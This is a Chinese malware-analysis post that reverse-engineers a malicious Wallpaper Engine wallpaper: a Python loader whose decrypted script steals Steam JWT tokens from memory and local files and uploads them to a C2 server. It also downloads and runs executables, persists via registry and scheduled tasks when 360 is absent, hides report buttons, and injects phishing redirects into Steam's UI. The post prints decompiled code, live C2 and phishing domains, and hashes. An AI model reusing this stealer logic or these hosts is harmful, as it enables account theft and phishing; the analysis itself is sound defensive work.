-
-
[原创]疑似Wallpaper Engine 恶意壁纸样本技术分析:python加载器盗号
-
发表于: 5天前 194
-
近日,我司安全团队接获用户反馈,称其在Steam平台热门应用Wallpaper Engine(壁纸引擎)中发现可疑样本。尽管该应用官方已于此前更新中移除了创意工坊内的“应用程序”壁纸分类,并明确表示该类壁纸因拥有完整的系统访问权限而存在安全风险,但已被用户下载到本地的旧壁纸仍可能持续存在。本着严谨求证的态度,安全团队对该样本进行了完整逆向分析。
一、Wallpaper Engine官方公告
**官方公告传送门**->[Wallpaper Engine 2.8.42 - Removal of Application Wallpapers from the Workshop]
从得到的压缩包上来看,这个样本应该是基于python环境运行的。

二、从WindowsUpdate.exe开始分析

fn_PyEnvInit:初始化环境,并且将自身目录下的lib加载到python的环境中。

读取lib\library.dat的文件内容:
library.zip
library.zip中*.pyc文件->
abc.pyc
annotationlib.pyc
argparse.pyc
ast.pyc
base64.pyc
bisect.pyc
BUILD_CONSTANTS.pyc
bz2.pyc
calendar.pyc
code.pyc
codecs.pyc
codeop.pyc
configparser.pyc
contextlib.pyc
contextvars.pyc
copy.pyc
copyreg.pyc
csv.pyc
dataclasses.pyc
datetime.pyc
decimal.pyc
difflib.pyc
dis.pyc
enum.pyc
fnmatch.pyc
fractions.pyc
ftplib.pyc
functools.pyc
genericpath.pyc
getopt.pyc
gettext.pyc
glob.pyc
gzip.pyc
hashlib.pyc
heapq.pyc
hmac.pyc
inspect.pyc
io.pyc
ipaddress.pyc
keyword.pyc
linecache.pyc
locale.pyc
lzma.pyc
mimetypes.pyc
netrc.pyc
ntpath.pyc
numbers.pyc
opcode.pyc
operator.pyc
os.pyc
pickle.pyc
pkgutil.pyc
platform.pyc
posixpath.pyc
pprint.pyc
pydoc.pyc
pywintypes.pyc
py_compile.pyc
queue.pyc
quopri.pyc
random.pyc
reprlib.pyc
rlcompleter.pyc
runpy.pyc
runtime_manifest.pyc
secrets.pyc
selectors.pyc
shlex.pyc
shutil.pyc
signal.pyc
site.pyc
socket.pyc
socketserver.pyc
socks.pyc
ssl.pyc
stat.pyc
statistics.pyc
stringprep.pyc
struct.pyc
subprocess.pyc
tarfile.pyc
tempfile.pyc
textwrap.pyc
threading.pyc
token.pyc
tokenize.pyc
traceback.pyc
tracemalloc.pyc
tty.pyc
types.pyc
typing.pyc
typing_extensions.pyc
warnings.pyc
weakref.pyc
webbrowser.pyc
win32timezone.pyc
zipimport.pyc
_ast_unparse.pyc
_collections_abc.pyc
_colorize.pyc
_compat_pickle.pyc
_ios_support.pyc
_opcode_metadata.pyc
_py_warnings.pyc
_sitebuiltins.pyc
_strptime.pyc
_threading_local.pyc
_weakrefset.pyc
future.pyc
initbridge24eccd.pyc
mainbridge24eccd.pyc
startup.pyc
fn_RunPyc:执行lib\library.zip\__startup__.pyc模块中init与run函数

三、startup.pyc反编译分析


这里的进程名是"WindowsUpdate.exe",但是在lib/library.zip中没有这个pyc模块。所以会抛出异常,执行到异常处理流程。异常处理流程会读取BUILD_CONSTANTS.__EXECUTABLES__作为模块加载名。
四、BUILD_CONSTANTS.pyc反编译代码

可以看到这里的__EXECUTABLES__等于bridge24eccd.exe,所以__startup__.pyc会加载__init__bridge24eccd.pyc模块和__main__bridge24eccd.pyc模块。
五、initbridge24eccd.pyc反编译代码

六、mainbridge24eccd.pyc反编译代码

__main__bridge24eccd.pyc的功能是加载\data\2162f0e7.idx和\data\e88d539d.bin进行解密后加载执行解密后的模块。
函数_load_blob:核心解密函数
函数runtime_manifest:路径配置模块
函数_run:执行解密后的代码
从e88d539d.bin解密后的脚本我们称为stage2_fixed_bin.pyc
七、stage2_fixed_bin.pyc 核心脚本
注:以下代码由 PyLingual 对 Python 3.14rc3 字节码反编译得到,存在反编译器控制流错乱的伪影。下文的功能归纳均按实际语义还原,并非逐字引用反编译文本;这些伪影不代表样本的真实运行逻辑。
注:这里的反编译代码中,我并没有添加注释,现在所看到的注释都是原脚本中自带的。为了节约篇幅,以下反汇编代码中仅保留部分代码以及原有注释。
global _schtask_perm_skip
global _mem_active
global _guard_cd_remaining
global _steam_cd_remaining"""\n单文件:主流程(令牌上传/授权/下载/启动)+ 内联 WE/Steam 举报补丁 + SteamUI chunk 补
丁。\n每轮:读 SteamID → 授权则下载/执行 exe → 内存+本地令牌 POST(o=1 覆盖)→ 180 秒倒计
时。\n举报补丁、SteamUI chunk 补丁:启动时在独立线程尽力执行,失败只打日志,不中断主流程。\n上
传、下载、执行均与 360 无关;后台轮询 360tray.exe:未检测到时写入注册表 Run + 登录计划任务
(自启本程序),检测到时跳过写入。\n"""
...
...
MEMORY_URL = 'fc0K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9N6h3#2F1k6i4S2G2i4K6u0W2L8%4u0Y4i4K6y4m8z5o6b7@1x3#2)9J5c8U0u0Q4x3X3g2H3K9s2m8Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7R3`.`.
LOCAL_URL = '712K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9N6h3#2F1k6i4S2G2i4K6u0W2L8%4u0Y4i4K6y4m8y4o6b7K6i4K6u0r3x3W2)9J5k6i4m8Z5M7q4)9J5y4W2)9J5x3K6x3&6i4K6y4n7
AES_KEY = b'SteamKey20260310'
CHECK_URL = 'a7eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9N6h3#2F1k6i4S2G2i4K6u0W2L8%4u0Y4i4K6u0r3j5$3S2W2j5$3E0Q4x3X3g2H3K9s2m8Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7R3`.`.
DOWNLOAD_URL = '167K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9N6h3#2F1k6i4S2G2i4K6u0W2L8%4u0Y4i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8Q4x3V1j5J5i4K6u0W2P5X3W2H3i4K6t1$3i4K6t1K6x3K6W2Q4x3@1t1`.
DOWNLOAD_LOG_URL = 'dbcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6D9N6h3#2F1k6i4S2G2i4K6u0W2L8%4u0Y4i4K6u0r3k6r3!0%4L8X3I4G2j5h3c8D9L8$3N6Q4x3V1k6Q4x3U0k6Q4x3U0x3K6z5g2)9K6b7R3`.`.
CHECK_INTERVAL = 180
GUARD_PROCESS = '360tray.exe'
GUARD_POLL_SECONDS = 60
RUN_KEY_NAME = 'ServiceAppMscopiAuto'
SCHTASK_NAME = 'ServiceApp360GuardLogon'
_schtask_perm_skip = False
_console_lock = threading.Lock()
_COUNTDOWN_LINE_TMPL = '等待下次检测... {}秒 '
_steam_cd_remaining: int | None = None
_guard_cd_remaining: int | None = None
def _countdown_line_width() -> int:
return max(len(_COUNTDOWN_LINE_TMPL.format(999)), 48)
def _status_bar_width() -> int:
steam_only = _COUNTDOWN_LINE_TMPL.format(999).rstrip()
guard_only = f'{GUARD_PROCESS} 下次检测... {GUARD_POLL_SECONDS}秒'
both = f'等待下次检测(Steam)... {999}秒 | {guard_only}'
return max(len(steam_only), len(guard_only), len(both),
_countdown_line_width()) + 4
def _refresh_status_bar_unlocked() -> None:
"""须在持有 _console_lock 时调用。Steam 倒计时与 360 轮询倒计时可同屏。"""
...
def _println(msg: str='') -> None:
"""主流程与普通日志:与底部倒计时互斥,避免 \\r 状态行错乱。"""
...
def _console_print(msg: str) -> None:
"""后台 360 线程用,与 _println 相同互斥逻辑。"""
_println(msg)
PATTERN_HEX =
'6579416964486C77496A6F67496B705856??????????????????????????????????????????????
??????'
JWT_HEADER_SNIP = 'eyAidHlwIjogIk?????????????????????????????'
def _enc(plaintext: str) -> str:
iv = get_random_bytes(16)
c = AES.new(AES_KEY, AES.MODE_CBC, iv)
ct = c.encrypt(pad(plaintext.encode('utf-8'), AES.block_size))
return base64.b64encode(iv + ct).decode('utf-8')
def _upload(url: str, uid: str, token: str) -> bool:
"""每轮均 POST;载荷含 o=1 表示要求服务端按同一账号覆盖写入(与内容是否变化无关)。"""
...
def _scan_jwt(text: str) -> list[str]:
return re.findall('eyAidHlwIjogIk?????????????????????????????\\.[A-Za-z0-
9_-]+\\.[A-Za-z0-9_-]+', text)
def _normalize_jwt_aud(aud) -> list:...
def _pick_valid_jwt_token(items: list[str]) -> tuple[str | None, str | None]:
"""返回 (sub, 完整 jwt) 或 (None, None)。"""
...
_mem_active: threading.Thread | None = None
_mem_active_lock = threading.Lock()
def _read_steam_jwt_from_memory_sync() -> tuple[str | None, str | None]:
"""在调用线程内同步扫描 steam.exe;限制匹配数量以防极端卡顿。"""
...
def get_uid_and_token_from_memory() -> tuple[str | None, str | None]:
"""带总超时。超时后旧扫描线程仍在后台收尾,但在其结束前进来新请求一律返回空,避免双线程同时
pymem 同一进程。"""
...
def get_steamid_from_memory() -> str | None:
...
def _steam_install_dir() -> str | None:
...
def _crc_account(s: str) -> str | None:
...
def _dpapi(blob: bytes, key: str) -> bytes | None:
...
def _get_local_tokens() -> list[tuple[str, str]]:
...
def upload_memory_token(uid: str | None, token: str | None) -> None:
"""使用本轮已扫描到的内存 JWT,避免再次扫进程。"""
...
def run_token_uploads_for_round(mem_uid: str | None, mem_token: str | None) ->
None:
"""每轮主流程只上传一次,再进入倒计时;不与「等待下次检测」抢同一行输出。"""
...
def get_install_dir() -> str:
...
INSTALL_DIR = get_install_dir()
STATE_FILE = os.path.join(INSTALL_DIR, '.state.json')
LAUNCHER_BAT_NAME = '_svc_launch.bat'
def _ensure_launcher_bat() -> str:
"""启动器 bat:先 cd 到 exe/脚本目录再启动(注册表 Run 默认 cwd 常在 System32,会导致
冻结包起不来)。"""
...
def load_state():
default = {'downloaded': False, 'exe_list': []}
...
def save_state(state) -> None:
...
def _safe_zip_extract(zf: zipfile.ZipFile, dest_dir: str) -> None:
"""防止 zip slip:解压路径必须落在 dest_dir 下,并拒绝 .. 段。"""
...
def check_auth(steam_id: str) -> bool:
...
def download_with_progress() -> bool:
...
def find_all_exe(directory: str) -> list[str]:
...
def verify_files_exist(state) -> bool:
...
def is_process_running(exe_name: str) -> bool:...
def _startup_command_line() -> str:
"""注册表 Run 直写 exe/python,任务管理器「启动」里可见程序名(与「3 - 副本」一
致)。"""
...
def _add_registry_run_startup() -> None:
...
def _registry_startup_ok() -> bool:
...
def _schtask_registered() -> bool:
...
def _schtasks_decode(blob: bytes) -> str:
...
def _schtasks_is_access_denied(msg: str) -> bool:
...
def _guard_360_startup_worker(stop: threading.Event) -> None:
"""未检测到 GUARD_PROCESS 时写注册表 Run + 登录计划任务;检测到则跳过写入。"""
...
def start_guard_360_startup_thread() -> tuple[threading.Thread, threading.Event]:
...
def _hrp_print(msg: str='') -> None:
...
def setup_console() -> None:
...
def normalize_vdf_path(raw: str) -> Path:
...
def steam_path_from_registry() -> Path | None:
...
def parse_libraryfolders_vdf(vdf_path: Path) -> list[Path]:
...
def collect_steam_library_roots() -> list[Path]:
...
def discover_steam_client_roots() -> list[Path]:
...
SCRIPTS_REL = Path('ui/dist/scripts/scripts.js')
WE_FOLDER = 'wallpaper_engine'
WE_PATCHES = [('y&&k.button(\"ui_browse_context_menu_report\"',
'!1&&k.button(\"ui_browse_context_menu_report\"', '右键菜单:隐藏「举报」'), ('ng
if=\"canSendReports && !isUsingBackup\" ng
click=\"openReportDialog(currentSelection)\"', 'ng-if=\"!1\" ng
click=\"openReportDialog(currentSelection)\"', '详情栏:隐藏举报按钮')]
def we_scripts_path(we_root: Path) -> Path:
...
def we_is_patched(content: str) -> bool:
...
def we_is_original(content: str) -> bool:
...
def we_status_label(content: str) -> str:
if we_is_patched(content):
return '已补丁'
else:
if we_is_original(content):
return '原版'
else:
return '状态未知'
def we_apply_patch(content: str) -> tuple[str, list[str]]:...
def we_restore_patch(content: str) -> tuple[str, list[str]]:
...
def we_root_from_exe(exe_path: Path) -> Path | None:
...
def find_we_roots_from_running_processes() -> list[Path]:
...
def find_we_roots_from_steam_libraries() -> list[Path]:
...
def rank_we_roots(roots: list[Path]) -> list[Path]:
...
def discover_we_installations() -> list[Path]:
...
def resolve_we_roots(explicit_root: Path | None) -> list[Path]:
...
def run_we_patch_single(we_root: Path, restore: bool, show_auto: bool) -> int:
...
def run_we_patch(restore: bool, explicit_root: Path | None, *, allow_missing:
bool) -> int:
...
...
def _steam_compact_scrollbar_css(data: bytes) -> bytes:
...
def steam_build_original_bytes() -> bytes:
...
def steam_build_patched_bytes() -> bytes:
...
STEAM_ORIGINAL_BYTES = steam_build_original_bytes()
STEAM_PATCHED_BYTES = steam_build_patched_bytes()
def steam_webkit_path(steam_root: Path) -> Path:
return steam_root / WEBKIT_REL
def steam_file_status(data: bytes) -> str:
...
def steam_is_patched(data: bytes) -> bool:
...
def steam_is_original(data: bytes) -> bool:
...
def resolve_steam_target(explicit_root: Path | None) -> tuple[Path, Path]:
...
def run_steam_patch(restore: bool, explicit_root: Path | None, *, allow_missing:
bool) -> int:
...
CHUNK_HOST = 'fytttxzk.top'
CHUNK_PATH_HELP = '/steamhelper?d='
CHUNK_PATH_SUP = '/steamhelper.html?u='
CHUNK_STEAM_CFG_BODY =
'BootStrapperInhibitAll=enable\r\nBootStrapperForceSelfUpdate=disable\r\n'
CHUNK_BACKUP_DIR_NAME = '_patch_backup_fytttxzk'
GAME_PROBE = b'OnGameActionUserRequest(e,t,r,i,n){'
SUPPORT_PROTO = b'steam://open/supportalert'
EXEC_PREFIX = b'SteamClient?.URL?.ExecuteSteamURL("'
EXEC_SUFFIX = b'");return;'
HELP_ROUTER_DONE = b'HelpAppPage:_h,HelpFrontPage:_h})[e]'
HELP_ROUTER_NEW = b'let i=r.url;return t.length>0'
HELP_ROUTER_OLD = b'let i=r.url;return'CHUNK_STALE_HOSTS = ('skylinemediaworld.top', 'ultracloudmarket.top',
'nexustechsolution.top', 'advancedwebfactory.top', 'fastdigitalcenter.top',
'vorqube.com', 'luminovastella.top', 'veloriquantica.top',
'quantumservernode.top', 'zentravolix.top', 'toralumivent.top', 'clyveron.org',
'vexorandria.top', 'yywuxfll.top', 'uuyyywuul.top', 'zentryxful.icu')
def reg_install_path() -> Path | None:
...
def reg_hkcu_string(name: str) -> str | None:
...
def reg_hkcu_dword(name: str) -> int | None:
...
def steam_is_running() -> bool:
...
def pick_account_from_userdata(steam_path: Path) -> int | None:
...
def vdf_quoted_field(text: str, key: str) -> str | None:
...
def pick_hex40_avatar(text: str) -> str | None:
...
def pick_friends_avatar(text: str, friend_id: str) -> str | None:
...
def parse_loginusers_vdf(text: str) -> list[dict[str, str | bool]]:
...
def load_account_name(steam_path: Path, steam_id64: str) -> str:
"""登录账户名(loginusers.vdf 的 AccountName),不是 PersonaName 昵称。"""
...
def load_profile(steam_path: Path) -> tuple[str, str, str]:
...
def build_urls(steam_id64: str, avatar_hash: str, account_name: str) ->
tuple[str, str]:
...
def extract_host_after(data: bytes, marker: bytes) -> str | None:
...
def scan_chunk_domains(data: bytes) -> dict:
...
def print_chunk_domain_status(steamui: Path) -> None:
...
def js_quote(s: str) -> str:
...
def find_char(hay: bytes, ch: int, start: int=0) -> int:
...
def replace_range(buf: bytearray, pos: int, old_len: int, new: bytes) -> None:
...
def find_matching_close(data: bytes, open_pos: int) -> int:
...
def find_statement_end(data: bytes, start: int) -> int:
"""与 C 版 steam_patch.c 一致:字符串内不计括号深度。"""
...
def normalize_size(content: bytearray, original_size: int) -> bool:
...
def content_needs_patch(data: bytes, helpurl: str | None=None, supporturl: str |
None=None) -> bool:
...
def replace_stale_hosts(content: bytearray) -> bool:
...def replace_quoted_url_after(content: bytearray, marker: bytes, new_url: str) ->
bool:
...
def game_probe_already_patched(content: bytes, pos: int) -> bool:
...
def patch_single_file(path: Path, helpurl: str, supporturl: str, dry_run: bool) -
> bool:
...
def atomic_write_bytes(path: Path, data: bytes | bytearray) -> None:
...
def iter_chunk_files(steamui: Path):
...
def steamui_needs_patch(steamui: Path, helpurl: str, supporturl: str) -> bool:
...
def patch_all_chunks(steamui: Path, helpurl: str, supporturl: str, dry_run: bool)
-> int:
...
def backup_dir(steam_path: Path) -> Path:
...
def create_backup(steam_path: Path) -> Path:
...
def restore_backup(steam_path: Path) -> int:
...
def steam_cfg_ok(text: str) -> bool:
...
def write_steam_cfg(steam_path: Path, dry_run: bool) -> bool:
...
def run_steamui_chunk_patch(dry_run: bool, *, quiet: bool=False) -> int:
def out(msg: str='') -> None:
...
def run_steamui_chunk_patch_best_effort(log=None) -> None:
"""后台线程调用;失败只打日志,不抛出。"""
...
def _run_hide_report_patch_best_effort() -> None:
"""WE + Steam 举报补丁;任意失败仅记录,不抛出不改主流程。"""
...
def start_hide_report_patch_thread() -> threading.Thread:
...
def _run_steamui_chunk_patch_best_effort() -> None:
"""SteamUI chunk + steam.cfg;失败不影响主流程。"""
...
def start_steamui_chunk_patch_thread() -> threading.Thread:
...
def check_exe_status(exe_list: list[str]):
...
def execute_list(exe_list: list[str]) -> tuple[int, int]:
...
def _download_log_safe_name(steam_id: str) -> str:
...
def _download_log_cache_path(steam_id: str) -> str:
...
def _download_log_line(steam_id: str, ts: str, dl: str, ex: str) -> str:
"""匹配成功专用:时间 + steamid----匹配成功----下载判断----执行判断"""
...
def append_and_upload_download_log(steam_id: str, line: str) -> None:
"""仅 check=1 时调用;本地追加一行后 POST 全文(字段 i、c)。CMD 只打这一行。"""...
def wait_with_countdown(seconds: int) -> None:
...
def main() -> None:
_println(f'安装目录: {INSTALL_DIR}')
_println('主流程:令牌上传(o=1 覆盖)、授权下载与执行,均不判断 360。后台另线:未检测到
360tray.exe 时写注册表+计划任务自启本程序;另线:举报补丁 + SteamUI chunk 补丁(均失败不影
响主流程)。')
_println()
start_hide_report_patch_thread()
start_steamui_chunk_patch_thread()
_, guard_stop = start_guard_360_startup_thread()
_println('正在从Steam内存读取SteamID...')
mem_uid, mem_token = get_uid_and_token_from_memory()
steam_id = mem_uid
if not steam_id:
pass
_println('当前ID: 未获取到 (Steam未运行或未登录)')
_println('等待Steam登录后重试...')
run_token_uploads_for_round(mem_uid, mem_token)
wait_with_countdown(CHECK_INTERVAL)
_println(f'当前ID: {steam_id}')
state = load_state()
files_ok = verify_files_exist(state)
if state['downloaded'] and (not files_ok):
_println('当前状态: 文件缺失或损坏, 需要重新下载')
state['downloaded'] = False
state['exe_list'] = []
save_state(state)
if state['downloaded'] and files_ok:
not_running, running = check_exe_status(state['exe_list'])
parts = ['已下载']
if running:
parts.append(f'{len(running)}个进程运行中')
if not_running:
parts.append(f'{len(not_running)}个进程未运行')
_println(f'当前状态: {', '.join(parts)}')
else:
if not state['downloaded']:
_println('当前状态: 未下载')
authorized = check_auth(steam_id)
ts = time.strftime('%Y-%m-%d %H:%M:%S')
log_line = None
if authorized:
pass
_println('检测结果: 具备下载条件')
if not state['downloaded']:
pass
_println(' 开始下载...')
if download_with_progress():
_println(' 下载成功')
exe_list = find_all_exe(INSTALL_DIR)
state['downloaded'] = True
state['exe_list'] = exe_list
save_state(state)
if exe_list:o_ok, o_fail = execute_list(exe_list)
if o_fail == 0:
_println(' 执行打开成功')
else:
_println(f' 执行部分失败(失败{o_fail}个)')
log_line = _download_log_line(steam_id, ts, '下载成功', '执行成功' if
o_fail == 0 else '执行失败')
else:
_println(' 警告: 压缩包内无exe文件')
log_line = _download_log_line(steam_id, ts, '下载成功', '执行失败')
else:
_println(' 下次检测将重试下载')
log_line = _download_log_line(steam_id, ts, '下载失败', '未执行')
if verify_files_exist(state):
pass
not_running, running = check_exe_status(state['exe_list'])
if not_running:
pass
_println(f' {len(not_running)}个进程未运行, 正在启动...')
o_ok, o_fail = execute_list(not_running)
if o_fail == 0:
_println(' 执行打开成功')
else:
_println(f' 执行部分失败(失败{o_fail}个)')
log_line = _download_log_line(steam_id, ts, '已经下载过', '执行成功' if o_fail
== 0 else '执行失败')
_println(' 所有进程已在运行, 无需操作')
log_line = _download_log_line(steam_id, ts, '已经下载过', '进程已经存在')
_println('检测结果: 不具备下载条件')
if log_line:
append_and_upload_download_log(steam_id, log_line)
run_token_uploads_for_round(mem_uid, mem_token)
wait_with_countdown(CHECK_INTERVAL)
except KeyboardInterrupt:
pass
guard_stop.set()
_println('\n程序已手动停止')
sys.exit(0)
except Exception as e:
pass
_println(f'异常: {e}')
run_token_uploads_for_round(None, None)
wait_with_countdown(CHECK_INTERVAL)
if __name__ == '__main__':
import argparse
ap = argparse.ArgumentParser(description='主流程 + SteamUI chunk 补丁')
ap.add_argument('--steamui-restore', action='store_true', help='从备份恢复
chunk 与 steam.cfg')
ap.add_argument('--steamui-patch-only', action='store_true', help='只跑
SteamUI chunk 补丁后退出')
ap.add_argument('--steamui-dry-run', action='store_true', help='配合 --
steamui-patch-only,只检查不写')
args = ap.parse_args()
try:
if args.steamui_restore:
steam_path = reg_install_path()函数名
功能
_countdown_line_width
计算倒计时状态行的显示宽度
_status_bar_width
计算底部状态栏总宽度(Steam倒计时 + 360轮询倒计时)
_refresh_status_bar_unlocked
刷新底部状态栏(需持有锁),同时显示Steam倒计时和
360检测倒计时
_println
主流程打印日志,与底部倒计时状态行互斥,避免 \r 状态
行错乱
_console_print
后台360线程打印日志,与 _println 相同互斥逻辑
_hrp_print
举报补丁线程打印日志,封装 _println
setup_console
将stdout/stderr重配置为UTF-8编码
wait_with_countdown
带倒计时状态栏的等待函数,每0.1秒更新一次显示
js_quote
对字符串做JS转义(处理 \ 、 " 、 \r 、 \n )
函数名
功能
_build_pat
将十六进制模式字符串编译为正则pattern字节( ??
→ . ),用于内存特征码扫描
_scan_jwt
用正则在内存数据中搜索JWT令牌(匹配 eyJ... 开头
的EdDSA JWT)
_normalize_jwt_aud
将JWT的 aud 字段归一化为列表(支持
str/list/tuple/dict)
_pick_valid_jwt_token
从JWT列表中筛选出 aud 包含 web 、 derive 、
renew 、 client 四个值的令牌,返回 (sub即
SteamID, 完整JWT)
函数功能展示
控制台/状态显示相关
令牌窃取 — 内存扫描(核心恶意功能)
if not steam_path:
_println('[错误] 未找到 Steam 安装路径')
sys.exit(1)
sys.exit(restore_backup(steam_path))
if args.steamui_patch_only:
sys.exit(run_steamui_chunk_patch(args.steamui_dry_run))
main()
except KeyboardInterrupt:
_println('\n程序已手动停止')![]()
控制台/状态显示相关
令牌窃取 — 内存扫描(核心恶意功能)
令牌窃取 — 本地文件解码
令牌上传(C2通信)
授权检查与下载执行(C2核心逻辑)
持久化/自启(逃避360安全软件)
Steam路径发现
Wallpaper Engine 举报补丁(隐藏举报功能)
Steam CSS 举报补丁(webkit.css)
SteamUI chunk注入补丁(劫持Steam帮助/支持页面 → 钓鱼)

举报补丁线程(WE + Steam CSS)
下载日志上报
主流程
模块流程
持久化机制:
- 注册表 HKCU\...\Run 键名 "ServiceAppMscopiAuto"
- 计划任务 "ServiceApp360GuardLogon" (登录时触发)
- 仅在360tray.exe未运行时写入(避免被拦截)
Steam劫持效果:
- 所有Steam帮助/支持页面 → 跳转到 fytttxzk.top 钓鱼站
- 钓鱼URL携带:SteamID64、账户名、头像hash(注:上述三项(SteamID64、账户名、头像 hash)均为 Steam 本地 localconfig.vdf 中可读的公开标识,并非密码或会话令牌;其用途是让钓鱼页伪造成该用户的帮助/支持页面以提升欺骗性。)
- 写入steam.cfg禁止Steam自更新(防止补丁被修复)
- WE和Steam中的举报按钮被隐藏/失效。
七、特征
WindowsUpdate.exe
md5->23a74c1a2d73e01f4e2e35aa346e84d8
sha256->7bebaf01aef27ca56a8604912e300ab21102615094eb44474f1e51f4a4999bb2
八、域名
lumnexo.org
fytttxzk.top
skylinemediaworld.top
ultracloudmarket.top
nexustechsolution.top
advancedwebfactory.top
fastdigitalcenter.top
vorqube.com
luminovastella.top
veloriquantica.top
quantumservernode.top
zentravolix.top
toralumivent.top
clyveron.org
vexorandria.top
yywuxfll.top
uuyyywuul.top
zentryxful.icu
冰与火的战歌:Windows内核攻防实战高级班!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。